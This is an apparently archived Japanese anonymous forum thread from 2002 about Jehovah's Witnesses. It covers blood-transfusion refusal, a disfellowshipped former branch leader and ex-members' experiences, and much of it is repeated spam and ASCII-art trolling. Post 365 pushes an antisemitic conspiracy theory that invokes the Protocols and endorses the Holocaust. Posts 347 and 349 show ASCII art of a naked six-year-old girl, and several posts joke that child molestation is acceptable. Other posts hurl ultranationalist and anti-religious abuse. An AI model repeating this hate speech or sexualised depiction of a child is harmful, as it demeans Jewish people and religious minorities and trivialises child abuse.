2、今の腐った世の中でどうしても生きたいと思はない。
3、それから輸血を拒む人(エホバの証人のような)のための
造血剤がすでに作られている。
のでエホバの証人ではありませんが、僕も輸血は拒否
したいです。
259さん長い文章ですみません。   

268 :名無しさん@1周年:02/07/03 14:31
エホバは、子どもの人権を一切認めない抑圧団体ですね。


269 :名無しさん@1周年:02/07/03 14:35
まず自己血輸血以外では異物をいれることになるので、リスクは当然伴います。
麻酔科の医師はそのリスクと輸血によるメリット(たいがい緊急性を伴う)
および可能な代替手段のリスクとメリットを考量した上で、ある特定の手段を
選択します。もちろんその中には患者の意思(明示されているならば)も
含まれます。

輸血も異物である以上、医者としても輸血する絶対量が減らせるに越した
ことない、と考えています。でもたいていの場合、造血剤よりは輸血のほう
が使われます。血液そのものの性能と代替手段とではやはり効果がまだまだ
異なるようですので。

実際には医療技術の進歩で、ここ近年輸血が必要な場面も、必要な輸血の量は
減り、輸血自体のリスクはかなり減少しつつあります。

267さんの理由1と3は、ですのでリスク計算にいささか現状を踏まえていない
ところがあるように思いますが、2は267さん個人の人生観の問題なので、
ここではコメントしません。でもご家族がいるなら、ご家族とも相談して
みることをお勧めします。

家族を最近失った一スレ読者より

270 :名無しさん@1周年:02/07/03 14:54
エホバは、子どもの人権を一切認めない抑圧団体ですね。

271 :名無しさん@1周年:02/07/03 15:51
今日も来たよ。毎日のように来ます。

272 :名無しさん@1周年:02/07/03 15:57
>>271
暇そうですね、献血にでも御一緒しませんか。

273 :boy's ◆yRaJFlJ. :02/07/03 16:39
>>267
258さんへ、

JW信者の輸血拒否する理由は
「信仰的な理由」と「医学的な理由」の二つに分けられます。
JW信者はこの二つを混ぜて説明する事が多いですが、
この二つを分けて考る必要が有ると思います。

「信仰的な理由」ですが、聖書を読む限り「輸血禁止」は読みとれません。
「医学的な理由」ですが、これは「信仰的な理由」を説明する為の「理由」です。

だいたい、JW信者と輸血問題を話しをすると次の様になります。

JW信者、「聖書に書いてある。」
反対者、 「そんな事ない。字面どうりに解釈するな。前後関係をよく読め。」
JW信者、「輸血をすると病気になる。費用も安い。数年後には無輸血手術が
      あたりまえになる。」
反対者、 「それって病気になるより、その場で死んだ方が良いってことか?
      費用も高くつくそうじゃないか。・・・」
JW信者、「無輸血手術を受け入れている病院もある。」
反対者、 「だから、交通事故などで緊急に輸血をする必要が有るときは
      どうするの。無輸血手術を受け入れている病院に運べるの?
      つか、宗教の話から医学の話に切り替えるな。」

長くなりそうなので、ここまでにします、
JW信者は258さんの様にリスクを回避するために輸血に慎重になっている、
のと若干違うみたいです。
それと、輸血を無意味に勧める人は居ないと思います。
私も輸血は危険だと思いますけど、ただ、それがJW教が正しい事の証明には
ならないと思います。

>2、今の腐った世の中でどうしても生きたいと思はない。

ある程度、同意します、つまらない理由で死にたくも無いです。
258さんも、そう思いません?

あれ、文章まとまんなかった。。ゴメソ>258さん

274 :名無しさん@1周年:02/07/03 16:49
エホバは、子どもの人権を一切認めない抑圧団体ですね。


275 :名無しさん@1周年:02/07/03 16:55
また輸血の話かぁ〜。
でも今忙しいからレス読んでられないのよね。
夏休みに入ったら、反論バンバンしちゃうよん。

276 :名無しさん@1周年:02/07/03 17:01
エホバは、子どもの人権を一切認めない抑圧団体ですね。

277 :名無しさん@1周年:02/07/03 17:07
>>267 258殿

輸血を受ける、受けないは本人の自由だが、輸血を拒否することで生じる
デメリットも考えるように。
まず、回復に時間がかかる。その分、費用もかかるし、ベッドも占拠する。
保険診療を受けるなら、本人負担分以外は誰が負担しているか考えるべし。
病院のベッドが空くのを待っている患者は多いが、長期間ベッドを占める
ことで他の患者が入院できず迷惑を及ぼす。
かく言う漏れも大出血をやらかした際に無輸血で治療を受けたが、ヘモグロビン
が正常値に戻るまで半年以上かかった。(当時は血液精剤がヤバい時)
治療期間が伸びることで、医療関係者に余計な負担をかける。医者も看護婦も
貴殿のためだけにいるのではない。
どんな治療法を選ぼうと貴殿の自由だが、それにより迷惑を被る他人がいる
ことをお忘れなく。

なお、交通事故、胃潰瘍による吐血等、大出血した際に手遅れになることがある。
ショック症状を起こしている場合、輸血以外に助かる手だてがない場合もある。
現在の輸血用精剤は、HIV、C型肝炎等確認されている全てのウィルス駆除の
処置が執られている。むろん、未発見のウィルスまでは駆除されていないが、
いたずらに不安がる必要はない。
輸血はそのリスクとメリットを勘案して決定すればよい。
それでも輸血は絶対嫌だと言うなら、輸血の必要な事態になったら潔く一切の治療
を拒否したまえ。ただし、その時は葬儀費用を誰が出すのか心配したまえ。

278 :boy's ◆yRaJFlJ. :02/07/03 17:08
>275
うん。
私も輸血の話はいい加減に飽きました。
カルト教団の信者内で、みみっちく輸血拒否運動すれば良いと思います。

279 :名無しさん@1周年:02/07/03 17:18
エホバは、子どもの人権を一切認めない抑圧団体ですね。

280 :名無しさん@1周年:02/07/03 20:25
>>277
>ヘモグロビンが正常値に戻るまで半年以上かかった。

この記述を見てあることを思い出しました
以前、献血ルームで一緒に順番を待っていたときある方が「献血したら貧血にならないのかな」と言われました。
近くにいた採決担当者は「ご心配なく、数時間で血液は元の状態に戻りますから」と、
これは一見正しいようで実は間違っています。
失った血液成分はそう簡単に元には戻らないのです。277さんの経験がそれを物語っています。

ここで大切なのは医療従事者が素人である患者側に正確な情報を提供しない場合があるということです。
輸血用血液の確保のために献血者に差し障りのない情報しか与えないわけですので輸血の際にも正確な情報が得られない恐れがあります。


281 :名無しさん@1周年:02/07/03 20:27
>>278
つぶやっきーにレスさんきゅう。
ちなみにあっしは自然消滅組&輸血肯定派だよん。
あ〜はやくこいこい夏休み。

最近パキラ見かけないけど、どうしたんかいな。
ま、いないほうがいいけど(w

282 :名無しさん@1周年:02/07/03 20:30
>>280
ちなみに、忙しいけどこれだけはレスしておくよ。
白血球の半減期は約6時間、血小板は6,7日、
赤血球の寿命は120日ですたい。

283 :名無しさん@1周年:02/07/03 20:47
また血の話かぁ〜。
しし


284 :名無しさん@1周年:02/07/03 22:19
エホバは、子どもの人権を一切認めない抑圧団体ですね。

285 :名無しさん@1周年:02/07/03 22:21
私たちエホバは、自作自演の人生。
  .∧w∧     ∧w∧ ホントデスネ
  . ( ,,゚Д゚)    (゚ー゚* )
    /つ旦|  ∴  |旦とヽ
 @(___) ..丁 (___)@

286 :名無しさん@1周年:02/07/03 23:30
エホバは、子どもの人権を一切認めない抑圧団体ですね。

    これは喝だ!          私も喝!
\_____ ___/   \___ ____/
        ∨           _ _∨
                   │□-□│ 
      (□-□)       │ △  |
      (( 〜))        | ノ─ヽ|
     /  ∨ \      / \Τ/ \   
  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\
 \    |大 沢|        |張 本|          \  
   | ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ |
   |       御 意 見 番 @ 2 c h.        |
   |                          .      |


287 :277:02/07/03 23:42
漏れの場合は、1リットル以上出血して血圧の上が68、下は表示せずという
状態だったす。かなりヤバい容態だった。視界が暗くなってたし。
しかし、その時の主治医はウィルス感染を避けるため「敢えて」無輸血治療を
選択した。その時点のベストを選んだということだろう。おかげで回復は遅れ
たが。

>>280さん
ちゃんと医者に聞いてみましたか。ふつうのドクターは今はていねいに教えてく
れます。もちろん、中にはDQNなドクターもいるのでハズれの場合もあります。
親身に相談に乗ってくれる信頼できるドクターを見つけて仲良くなっておくのが
良いと思われ。

288 :名無しさん@1周年:02/07/04 00:02
エホバの証人性的暴行で起訴

    これは喝だ!          私も喝!
\_____ ___/   \___ ____/
        ∨           _ _∨
                   │□-□│ 
      (□-□)       │ △  |
      (( 〜))        | ノ─ヽ|
     /  ∨ \      / \Τ/ \   
  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\
 \    |大 沢|        |張 本|          \  
   | ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ |
   |       御 意 見 番 @ 2 c h.        |
   |                          .      |


289 :名無しさん@1周年:02/07/04 00:27
最近、考えられないような人が排斥される事例が増えている。

これが何を意味するのか?

説明していこうと思う。

290 :マジレス希望:02/07/04 00:32
本間敏雄兄弟(元)の排斥理由をご存知の方がおられましたら
教えて下さい。

お願いします。

291 :名無しさん@1周年:02/07/04 00:39
組織が巨大化するにつれて、

その組織内部(本部対支部、各支部間、支部内部)における権力闘争は激化していく。

そして生き残ったものは自らの権力拡大と保全を図るべく、

様々な手段を講じる。

292 :名無しさん@1周年:02/07/04 01:27
>>290

236 :名無しさん@1周年 :02/07/02 23:30
本間トシオ兄弟の排斥の理由は
マルチ商法に手を染めたから。
関東地方を中心に大きな集まりを
開いたりしてたらしいよ。

293 :名無しさん@1周年:02/07/04 01:46
あのさあ、エホ症って輸血が危険だから
しないんじゃないだろ?
聖書に書いてあるからしないんだろ?
輸血が安全であっても輸血しないんだろ?

なのに何で輸血の危険性ばかり喧伝するんだ?
関係無いだろ。

294 :名無しさん@1周年:02/07/04 02:14
マルチ商法は隠れ蓑だ、日本支部長だった事もある本間敏雄は粛清されたのだ!
自分からやめるにあたって性的堕落とかの烙印を押されるよりましと、マルチに突っ走ったのだろう。
かつて統治体はDQN厨房の集合体だったから、教養は目の仇とされたが、本間敏雄はこれに忠実だったので、優秀な人だけどたしか中卒?
しかし今や回りに東大卒がうじゃうじゃ、やってられないよ〜。
これを世界史に当てはめると、本間敏雄は揺籃期のナチスに役だったナチス党突撃隊のエルンスト・レームだ。
後に発展のために邪魔になり、エリート集団の親衛隊SSによってレームは粛正されることになる。

295 :名無しさん@1周年:02/07/04 02:16
で、トシヲあぼーんの本当の理由は何?

296 :名無しさん@1周年:02/07/04 02:26
里予木寸排斥

297 :名無しさん@1周年:02/07/04 02:29
>らしいよ
でうわさを広めないでちょ

298 :boy's ◆yRaJFlJ. :02/07/04 02:46
ネズミ講は禁止。
子供への悪戯はok。  〆(。。)メモメモ

299 :名無しさん@1周年:02/07/04 02:54
>>291
そんだけ?

300 :名無しさん@1周年:02/07/04 03:02
300エホバ。

301 :名無しさん@1周年:02/07/04 03:04
俺は両親がエホ
証だった。父は
排斥になったが
。俺も18で家
出るまで集会や
ら行ってた。あ
れから6年経つ
がいまだに教義
は覚えてるし、
洗脳がとれてい
ない気がする。
酒もタバコもセ
ックス(淫行)
もしたがその度
に悪い事をして
る気がする。ど
うすれば洗脳か
ら開放されるの
か分からない。
最後に大物の排
斥は15年位前
から予告されて
いたことだ。俺
の父も長老で一
時は会衆の主宰
監督までやっていた。

302 :名無しさん@1周年:02/07/04 03:07
>>301
父の排斥の理由は?

303 :名無しさん@1周年:02/07/04 03:15
>>301
カウンセリングでも受けたら?

304 :名無しさん@1周年:02/07/04 03:18
父の排斥の理由は
女関係らしい。あ
ほらしくて詳しく
は聞かなった。そ
の時離婚もした。
そういう時は離婚
できるらしくって
。俺はバプテスマ
受けてないから排
斥者じゃないけど。

305 :名無しさん@1周年:02/07/04 04:43
やらしい親父だな
おんなだって

306 :名無しさん@1周年:02/07/04 07:45
>>301
>酒もタバコもセックス(淫行)もしたがその度に悪い事をしてる気がする。
>どうすれば洗脳から開放されるのか分からない

十代の若者が最初にそういうことをするとき、心が痛むことあるんですよ
”良心”ってやつ   JWでなくてもみんな良心があるから悪いことしていると感じるのは当たり前
洗脳とはちがうよ

307 :名無しさん@1周年:02/07/04 08:39
エホバの証人性的暴行で起訴

    これは喝だ!          私も喝!
\_____ ___/   \___ ____/
        ∨           _ _∨
                   │□-□│ 
      (□-□)       │ △  |
      (( 〜))        | ノ─ヽ|
     /  ∨ \      / \Τ/ \   
  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\
 \    |大 沢|        |張 本|          \  
   | ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ |
   |       御 意 見 番 @ 2 c h.        |
   |                          .      |


308 :名無しさん@1周年:02/07/04 09:12
>>301
たばことセックス(淫行)両方普通に悪いことだよ。
酒も飲みすぎは、迷惑なんだよ

309 :名無しさん@1周年:02/07/04 09:17
エホバの証人、子供への悪戯はok。

    これは喝だ!          私も喝!
\_____ ___/   \___ ____/
        ∨           _ _∨
                   │□-□│ 
      (□-□)       │ △  |
      (( 〜))        | ノ─ヽ|
     /  ∨ \      / \Τ/ \   
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 \    |大 沢|        |張 本|          \  
   | ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ |
   |       御 意 見 番 @ 2 c h.        |
   |                          .      |


310 :名無しさん@1周年:02/07/04 09:32
エホバの商人はフザケルノガす危難です。

311 :名無しさん@1周年:02/07/04 10:16
エホバ自作自演のageアラシ警報発令中!

    これは喝だ!          私も喝!
\_____ ___/   \___ ____/
        ∨           _ _∨
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      (□-□)       │ △  |
      (( 〜))        | ノ─ヽ|
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 \    |大 沢|        |張 本|          \  
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   |       御 意 見 番 @ 2 c h.        |
   |                          .      |


312 : ◆QZaMZxPE :02/07/04 10:33
(笑)

313 :名無しさん@1周年:02/07/04 11:19
しかし、311のようなバカあらし うまく書いてるな
大沢親分なんかそっくりだよ  その道のプロ目指したらどう? 
あらしのプロじゃないよ
褒めるとまずいかな ^^;

314 :名無しさん@1周年:02/07/04 11:21
荒らしのカトか

315 :名無しさん@1周年:02/07/04 11:49
>>313
どうせコピペだろ・・・

316 :名無しさん@1周年:02/07/04 12:23
輸血を懇願の我が子に、拒否する親たち。

    これは喝だ!          私も喝!
\_____ ___/   \___ ____/
        ∨           _ _∨
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      (□-□)       │ △  |
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   |       御 意 見 番 @ 2 c h.        |
   |                          .      |


317 :名無しさん@1周年:02/07/04 14:16
エホバの証人、子供への悪戯はok。

    これは喝だ!          私も喝!
\_____ ___/   \___ ____/
        ∨           _ _∨
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318 :名無しさん@1周年:02/07/04 15:32
     , -,、 、
    ☆ノノ从))     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
    ノ∩ ~∀~)y-~~< ・・キャハ☆、王国会館の売春宿よ♥遊びにきて−−
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    これは喝だ!          私も喝!
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319 :名無しさん@1周年:02/07/04 18:03
自作自演スレ発覚
『エホ証はなんで美男美女が多いの?』

    これは喝だ!          私も喝!
\_____ ___/   \___ ____/
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320 :名無しさん@1周年:02/07/04 18:42
自画自賛のバカヤロー集団
死ね!!

321 :名無しさん@1周年:02/07/04 18:48
だって、誰も褒めてくれないんだよう・・

322 :名無しさん@1周年:02/07/04 19:55
自作自演スレ発覚
『エホ証はなんで美男美女が多いの?』

    これは喝だ!          私も喝!
\_____ ___/   \___ ____/
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   |                          .      |


323 :名無しさん@1周年:02/07/04 21:20
ある組織内部において

表立った行動ができない事案が生じる場合がある。

組織の人間が直接対処することができないような事例の事だ。

その場合、組織から除名された人たちが再び集められ、

様々な活動を行う。

除名の理由はそれとなく、もっともらしく流布される。

しかし実際のところそのような事実があるかどうかは

明確に確認できない。

という話。

324 :boy's ◆yRaJFlJ. :02/07/04 21:58
>>317
「喝」でも良いけど絵がずれているの直しちくれ。。。
ずれてるの気になるyo-..........

325 :名無しさん@1周年:02/07/04 22:01
エホバの証人、子供への悪戯はok。

    これは喝だ!          私も喝!
\_____ ___/   \___ ____/
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 \    |大 沢|        |張 本|          \  
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   |       御 意 見 番 @ 2 c h.        |
   |                          .      |


326 :名無しさん@1周年:02/07/04 23:38
確かにあのマルチ商法事件で何人かが
ベテルを追い出されたんだよな。
本間トシオが関係してたのかは知らんが。
王国宣教の1ページに関連記事がそれとなく
載ったのはもう二年近く前になるから
今になって排斥されるのはおかしいかも。

327 :名無しさん@1周年:02/07/05 00:09
措  置  入  院  決  定  の  お  知  ら  せ
   こ の ス レ の >>325殿
                            平成14年 7月 4日
                            厚生労働証官僚  染 山  正

1.あなたは、精神保健指定医の診察の結果、入院診療が必要であると認めたの
 で通知します。
2.あなたの入院は【 @精神保険法第29条の規定による措置入院  A精神保
 健法第29条の2の規定による緊急措置入院 】です。
3.あなたの入院中、手紙やはがきなどの発信や受信は制限されません。ただし、
 封書に異物が同封されていると判断される場合、病院の職員の立会いのもとで、
 あなたに開封してもらい、その異物は病院であずかることがあります。
4.あなたの入院中、人権を擁護する行政機関の職員、あなたの代理人である弁
 護士との電話・面会や、あなた又は保護者の依頼によりあなたの代理人になろう
 とする弁護士との面会は、制限されませんが、それら以外の人との電話・面接に
 ついては、あなたの病状に応じて医師の指示で一時的に制限することがあります。
5.あなたは、治療上の必要上から、行動制限を受けることがあります。


328 :名無しさん@1周年:02/07/05 00:20
>326
こんなのはどうだ!?
ttp://ajbi.org/List.html


329 :名無しさん@1周年:02/07/05 00:31
>>328
興味深い事実ではあるけど字が違う。

330 :本田トシオの系譜:02/07/05 00:32
*** 宣 75/2 2 支部の手紙 ***
支部の監督,ロイド・バリー兄弟は最近ニューヨーク・ブルックリンの
エホバの証人の統治体の一人として奉仕する任命を受けました。
1975年2月1日から本間年雄兄弟は日本で支部の監督として
奉仕するよう協会の会長により任命されました。みなさんすべてが
エホバの組織に忠節な支持を与え,ご自分の働きに多くの喜びを
見いだされますように。

*** 宣 83/3 1-4 支部の手紙 ***
最後に,1983年1月1日付で日本支部の組織に加えられた調整に
ついてお知らせします。1976年から支部委員の調整者として奉仕
してこられた本間年雄兄弟は,家族を顧みるという聖書的責任を
平衡を保って果たすため,調整者としての立場を退かれました。
しかし兄弟は引き続き支部委員の一人として日本の業のために
奉仕してくださいます。本間兄弟に替わって,統治体は織田正太郎
兄弟を日本支部調整者に任命しました。調整された取決めに従い,
一致と協力の精神をもってエホバの業に励み続けましょう。

331 :名無しさん@1周年:02/07/05 00:44
怪しげな宗教NO3に選ばれました

332 :筆記の復習:02/07/05 02:41
以下のそれぞれの文の正誤を答えてください。

6.「哀歌」は,バビロンの王ネブカドネザルによる西暦前607年の
エルサレムの滅びに対する深い悲しみを言い表わしています。

7.哀歌5章7節では,エホバが子どもたちをその親たちの罪の
ゆえに直接処罰なさることが明示されています。
*** 聖8-参 哀歌 5:7 ***
父祖たちが罪をおかした者なのです。……わたしたちは,
彼らのとがを負わなければならなくなりました。

10.エゼキエル23章の現代的適用として,プロテスタント教会をオホリバに,
ローマ・カトリック教会をその姉のオホラに例えることができます。
*** 聖8-参 エゼキエル 23:1-49 ***
http://www.bible.or.jp/vers_search/vers_search.cgi?cmd=search&trans=ni&book=eze.old&chapter=23

333 :筆記の復習:02/07/05 02:47
必要な語句を補い,下記のそれぞれの文を完成させてください。

22. 聖霊は,(   )や(   )を取り除くわけではないかも
しれませんが,それに(    )よう助けてくれます。

24. 「哀歌」は真の崇拝者に(   )と(    )を鼓舞し,
エホバ神を無視する者たちへの(    )警告となるはずです。

以下の各文の正しい答えを選んでください。

29. 聖書のヘブライ語はもともと(a.母音だけ; b.子音だけ)を
用いて書き表わされたので,神のみ名の,ヘブライ語のもともとの
発音に関して絶対確かなことを言える人は一人もいません。

30. エゼキエル1章で描写されている神の兵車は,(a.神の
メシアによる王国; b.み使いから成る,神の霊の組織;
c.エホバと残りの者との意思疎通)を表わしています。

334 :筆記の復習:02/07/05 02:55
以下の聖句を次レスの陳述に当てはめてください。

*** 聖8-参 申命記 7:25-26 ***
彼らの神々の彫像をあなたは火で焼くべきである。
……それをあくまでも忌み嫌い,全くいとい憎むべきである。

*** 聖8-参 箴言 4:18 ***
義なる者たちの道筋は,日が堅く立てられるまで
いよいよ明るさを増してゆく輝く光のようだ。

*** 聖8-参 箴言 5:21-23 ***
人の道はエホバの目の前にあり,神はそのすべての進路を
思い量っておられるからである。

*** 聖8-参 エレミヤ 46:28 ***
「『わたしの僕ヤコブよ,恐れてはならない』と,エホバは
お告げになる,『わたしはあなたと共にいるからである。
……あなたについては,滅ぼし絶やすことをしないであろう。
とはいえ,わたしはあなたを適度に打ち懲らさなければならない。
あなたを処罰せずに置くことは決してない』」。

335 :筆記の復習:02/07/05 02:56
以下の陳述を前レスの聖句と結びつけてください。

31. この命令は,どんなものにせよ以前にあがめていた像があれば,
エホバの民がそれをどのようにみなすべきかを示す型となります。

33. 親は,道理にかなった程度を超えて,あるいは矯正と教えを
与えるという目的を無視して,懲らしめを与えるべきではありません。

34. エホバはその僕たちに,ご自分の目的を漸進的に理解させる
ことがおできになるので,人は知識が増し加わると,しばしば自分の
考え方を調整しなければならなくなります。

35. 性的に汚れた行為は,どんなにひそかになされようと,
神の目からは一つも隠されていません。

336 :今日の日々の聖句:02/07/05 03:13

7月11日,木曜日

わたしは……屋上で天の衆群に身をかがめている者たち,
……エホバに誓いを立て,かつまたマルカムにかけて誓いを
立てている者たちを……断ち滅ぼす。―ゼパ 1:4-6。

神は,「天の衆群に身をかがめている者たちを断ち滅ぼされます。
その者たちは,占星術を習わしにし,太陽を崇拝しているようです。
(王二 23:11。エレ 19:13;32:29) 『エホバに,かつまたマルカムに
かけて誓いを立てて』,真の崇拝を偽りの宗教と混ぜ合わせようと
している者たちにも,神の憤りが放たれます。マルカムは,アン
モン人の主神モレクの別名と思われます。モレクの崇拝には
子どものいけにえが含まれていました。(王一 11:5。エレ32:35)
こうした点すべては,偽りの崇拝と占星術にどっぶりつかっている
キリスト教世界を連想させることでしょう。また同世界は,僧職者の
支持する戦争という祭壇で無数の命がいけにえにされたことにも
関与してきました。まさに胸が悪くなります。わたしたちは決して
ユダの不忠実な者たちのようにはならないようにしましょう。
むしろ,神への忠誠を保ちましよう。塔01 2/15 6,8,9

337 :名無しさん@1周年:02/07/05 03:18
     , -,、 、
    ☆ノノ从))     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
    ノ∩ ~∀~)y-~~< ・・キャハ☆、王国会館の売春宿よ♥遊びにきて−−
□…/ノつ O* )    \____________________
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    これは喝だ!          私も喝!
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      (□-□)       │ △  |
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338 :カルトが嫌いなboy's ◆yRaJFlJ. :02/07/05 03:23
>>332
カルト信者が、ちょっと聖書を読みかじっただけで
それらしい事を書くなよ。文中にあるエホバって誰よ。
カルト宗教が作り上げた空想上の神を世間に広め伝えるなよ。
恥を知れ。恥を!!!

私は新興宗教とカルト宗教が嫌いです。
ついでに、ねずみ講と性的変質者も嫌いで〜す。


339 :名無しさん@1周年:02/07/05 04:52
聖書馬鹿

340 :名無しさん@1周年:02/07/05 05:02
「波及効果−もう一つの宗教も独自のスキャンダルに直面」
という副題の元に、エホバの証人の社会に起こる、報告されない性的スキャンダル
の告発が行なわれていることを

341 :名無しさん@1周年:02/07/05 07:30
歯垢の神 エホバ

342 :名無しさん@1周年:02/07/05 07:53
>>338
>文中にあるエホバって誰よ。

知ってて聞くのはなんでかな? 性格悪いね、あんた

343 :名無しさん@1周年:02/07/05 08:14
>>342
厨房の煽りに反応するなよ!見苦しい。

344 :名無しさん@1周年:02/07/05 08:34
>>342
すべての人が知ることになる。
と聖書に書いてあります。

345 :boy'sはカルト嫌い ◆yRaJFlJ. :02/07/05 09:39
>>342
知ってますよ。

「エホバ」 ピラミッド・オタクの教祖がサタンの影響を受けて
      創った空想上の神


346 :名無しさん@1周年:02/07/05 09:44
エホバは、子どもの人権を一切認めない抑圧団体ですね。

    これは喝だ!          私も喝!
\_____ ___/   \___ ____/
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   | ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ |
   |       御 意 見 番 @ 2 c h.        |
   |                          .      |


347 :名無しさん@1周年:02/07/05 10:28
          ∧_∧
        ( ´Д`) <愛、6歳、裸踊り恥ずかしいよー。
        /    ⌒ヽ
        / レ'つ   ヘ ヽ
       (__/    I \\
         )    |   \ヽ
.        /  ●―――∪
        /  / ^ヽ \
       ( <    > )
       \ ヽ  / /
  ______ / |__I \__
  \     (__ノ   ヽ__) \
  ||\             \
  ||\|| ̄ ̄ ̄ ̄ ̄ ̄ ̄|| ̄
エホバは、子どもの人権を一切認めない抑圧団体ですね。

    これは喝だ!          私も喝!
\_____ ___/   \___ ____/
        ∨           _ _∨
                   │□-□│ 
      (□-□)       │ △  |
      (( 〜))        | ノ─ヽ|
     /  ∨ \      / \Τ/ \   
  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\
 \    |大 沢|        |張 本|          \  
   | ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ |
   |       御 意 見 番 @ 2 c h.        |
   |                          .      |


348 :名無しさん@1周年:02/07/05 11:54
姫路白浜会衆は、ローカルルールの多い、因習の強い会衆です。
最悪〜〜〜〜〜!!!!!
長老2人は、白浜から出たことも無いような田舎モンだしさ!
偽善者ぶって、ほんとに助けて欲しい時には、助けてくれないヤツラです。
アホ〜〜〜〜!!! バカ!!!

349 :名無しさん@1周年:02/07/05 12:01
          ∧_∧
        ( ´Д`) <愛、6歳、裸踊り恥ずかしいよー。
        /    ⌒ヽ
        / レ'つ   ヘ ヽ
       (__/    I \\
         )    |   \ヽ
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        /  / ^ヽ \
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エホバは、子どもの人権を一切認めない抑圧団体ですね。

    これは喝だ!          私も喝!
\_____ ___/   \___ ____/
        ∨           _ _∨
                   │□-□│ 
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   |       御 意 見 番 @ 2 c h.        |
   |                          .      |

565 :名無しさん@1周年 :02/07/05 11:47

566 :名無しさん@1周年 :02/07/05 11:58
姫路白浜会衆は、ローカルルールの多い、因習の強い会衆です。
最悪〜〜〜〜!!!!!
長老2人は、白浜から出たことも無いような田舎モンだしさ!
偽善者ぶって、ほんとに助けて欲しい時には、助けてくれないヤツラです。
アホ〜〜〜〜!!! バカ!!!


350 :名無しさん@1周年:02/07/05 12:22
JWICのカナダの輸血裁判の記事にはびっくり。
結局、組織は輸血を拒否させることを強要してるじゃん。
全然信者の良心の問題じゃないんだ。

351 :342:02/07/05 12:24
>>345
聞いた自分が悪かったよ 
今日は学校休みなのか? これもよけいなことだな


352 :名無しさん@1周年:02/07/05 12:25
荒らしてるの現役?それとも元の人??
それにしても続くねー。ほんとうんざり。
なんとか止めれられないのかね。

353 : ◆.NipponA :02/07/05 12:45
エホバの証人は先の世界大戦で欧米と戦った英霊を侮辱する
非日本的思想のカルト教団である。欧米資本主義・覇権主義の手先である。
八紘一宇の日本とは相いれないエホバの証人は即刻、
八百万の神の国、日本から立ち去るがいい。国体をそこなう寄生虫どもめ!!

354 :名無しさん@1周年:02/07/05 13:07
変なのが乱入してきたな  うむ
まあ 元から変なのばかりだが・・

355 :名無しさん@1周年:02/07/05 13:08
はじめてきくことばだな
八紘一宇ってなに?

356 :名無しさん@1周年:02/07/05 13:10
>>352
削除依頼は取り上げられていない模様


357 :名無しさん@1周年:02/07/05 13:14
>>353
世界には日本しかないのか この 井の中の蛙ちゃん


358 :名無しさん@1周年:02/07/05 13:15
友達の家がエホバでした。
その友達は交通事故にあってしまったんですが、
輸血を受けられずに亡くなった。
今思い出してもやっぱりなんだかなぁ・・・言葉が見つからない。

359 :名無しさん@1周年:02/07/05 13:22
エホバ証だということで十分変なのですけど・


360 :名無しさん@1周年:02/07/05 13:39
エホバの信者は、迫害を四六時中口に出しているのだから、
削除依頼を出すのはお門違い。
ご自分たちの信じる信仰で解決するべきです。

361 :名無しさん@1周年:02/07/05 14:11
エホバの信者は、迫害を四六時中口に出しているのだから、
削除依頼を出すのはお門違い。
ご自分たちの信じる信仰で解決するべきです。


362 : ◆.NipponA :02/07/05 14:22
「八紘」とは世界中で「一宇」とは一家のことです。
簡単に言えば、世界人類みな家族という意味の戦前のスローガンです。

検索にかけるとブサヨクどものHPが引っ掛かるが、ブサヨクはもともと差別主義者だし、
大東亜共栄圏なんて理解できるわけが無い。
>355

# たとえば、
# >「八紘一字」とは日本軍が全世界を侵略し、
# なんて文章が見つかる。侵略ですか?
# マレーシアの独立はどこの軍隊が後押しをしたと思っているんでしょうか?
# 白人支配からの解放を目指した日本軍は正しかったのである。

363 :名無しさん@1周年:02/07/05 14:25
>>360
あんた頭いいな 
迫害がいやならここに来なけりゃいいもんな
結論が出た 現役はみんなここに来るな
非エホとプータローの溜まり場にしておこうではないか


364 :フランスではJWとオウムは同じカテゴリ@boy's ◆yRaJFlJ. :02/07/05 14:26
「JW教信者の特徴」 自分たちは迫害されていると言いながら
           他の団体を平気で迫害および誹謗中傷す
           ることが出来る。
      

365 : ◆.NipponA :02/07/05 14:30
エホバ=ユダヤ世界戦略の一環として、
安全な立場からの日本文化の否定。

高利貸しユダヤ、人々と馴染もうとせず、独自のコミュニティーの中で生きてきた。
ヨーロッパ中で不評。最終的にナチスによるホロコーストを受けるくらい不評
「シオンの議定書」が偽書にもかかわらず、
日本でユダヤ陰謀論がささやかれているのは、ユダヤがもともと日本とは相いれない民族だから。
エホバ(ヤハウェ)=ユダヤ教の神、他国多民族抹殺をもくろむ神=ナチスそのもの。



366 :名無しさん@1周年:02/07/05 14:43
エホバの信者は、迫害を四六時中口に出しているのだから、
ご自分たちの信じる信仰で解決するべきです。
削除依頼を出すのはお門違い。


367 :名無しさん@1周年:02/07/05 18:51
